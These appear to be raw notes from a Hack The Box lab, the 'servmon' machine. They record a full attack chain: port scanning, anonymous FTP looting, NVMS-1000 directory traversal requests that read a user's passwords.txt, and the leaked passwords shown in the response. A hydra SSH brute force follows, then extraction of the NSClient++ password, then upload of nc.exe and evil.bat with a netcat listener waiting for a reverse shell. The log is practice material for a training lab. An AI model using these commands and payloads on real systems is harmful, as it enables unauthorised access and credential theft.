NVMS-1000 FILE TRAVERSAL (GET CREDS)

HYRA SSH BRUTEFORCE WITH CREDS

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_01-18-20 12:05PM <DIR> Users

| ftp-syst:

|_ SYST: Windows_NT

22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)

| ssh-hostkey:

| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)

| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)

|_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)

80/tcp open http

| fingerprint-strings:

| GetRequest, HTTPOptions, RTSPRequest:

| HTTP/1.1 200 OK

| Content-type: text/html

| Content-Length: 340

| Connection: close

| AuthInfo:

| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

| <html xmlns="http://www.w3.org/1999/xhtml">

| <head>

| <title></title>

| <script type="text/javascript">

| window.location.href = "Pages/login.htm";

| </script>

| </head>

| <body>

| </body>

| </html>

| NULL:

| HTTP/1.1 408 Request Timeout

| Content-type: text/html

| Content-Length: 0

| Connection: close

|_ AuthInfo:

|_http-title: Site doesn't have a title (text/html).

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5666/tcp open nrpe?

6699/tcp open napster?

8443/tcp open ssl/https-alt

| http-title: NSClient++

|_Requested resource was /index.html

| ssl-cert: Subject: commonName=localhost

| Not valid before: 2020-01-14T13:24:20

|_Not valid after: 2021-01-13T13:24:20

|_ssl-date: TLS randomness does not represent time

root@akg:/home/akg/Desktop/hackthebox/servmon# ftp servmon.htb

root@akg:/home/akg/Desktop/hackthebox/servmon# cat Confidential.txt

Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadineroot@akg:/home/akg/Desktop/hackthebox/servmon# cat 'Notes to do.txt'

1) Change the password for NVMS - Complete

2) Lock down the NSClient Access - Complete

3) Upload the passwords

4) Remove public access to NVMS

root@akg:/home/akg/Desktop/hackthebox/servmon# smbclient --list //servmon.htb/ -U ""

root@akg:/home/akg/Desktop/hackthebox/servmon# rpcclient 10.10.10.183 -U ""

FOR PRIVESC: root@akg:/home/akg/Desktop/hackthebox/servmon# searchsploit nsclient++

http://servmon.htb/note.txt ??

root@akg:/home/akg/Desktop/hackthebox/servmon# searchsploit nvms

NVMS 1000 - Directory Traversal | exploits/hardware/webapps/47774.txt

root@akg:/home/akg/Desktop/hackthebox/servmon# cp /usr/share/exploitdb/exploits/hardware/webapps/47774.txt .

GET /../../../../../../../../../../../windows/win.ini HTTP/1.1

Host: servmon.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: dataPort=6063; lang_type=0x0409%24en-us

BURP REQUEST

GET /../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1

Host: servmon.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: dataPort=6063; lang_type=0x0409%24en-us

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Content-type: text/plain

Content-Length: 156

Connection: close

AuthInfo:

1nsp3ctTh3Way2Mars!

Th3r34r3To0M4nyTrait0r5!

B3WithM30r4ga1n5tMe

L1k3B1gBut7s@W0rk

0nly7h3y0unGWi11F0l10w

IfH3s4b0Utg0t0H1sH0me

Gr4etN3w5w17hMySk1Pa5$

root@akg:/home/akg/Desktop/hackthebox/servmon# hydra -L user.txt -P creds.txt 10.10.10.184 ssh

[22][ssh] host: 10.10.10.184 login: nadine password: L1k3B1gBut7s@W0rk

USER SHELL!!!!!!!!!

root@akg:/home/akg/Desktop/hackthebox/servmon# ssh nadine@10.10.10.184

nadine@SERVMON C:\Users\Nadine\Desktop>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

============================= ================================== =======

SeShutdownPrivilege Shut down the system Enabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeUndockPrivilege Remove computer from docking station Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeTimeZonePrivilege Change the time zone Enabled

nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password –display

Current password: ew2x6SsGTxjRwXOT

scp evil.bat nadine@servmon.htb:/temp/evil.bat

scp nc.exe nadine@servmon.htb:/temp/nc.exe

root@akg:/home/akg# nc -nlvp 9001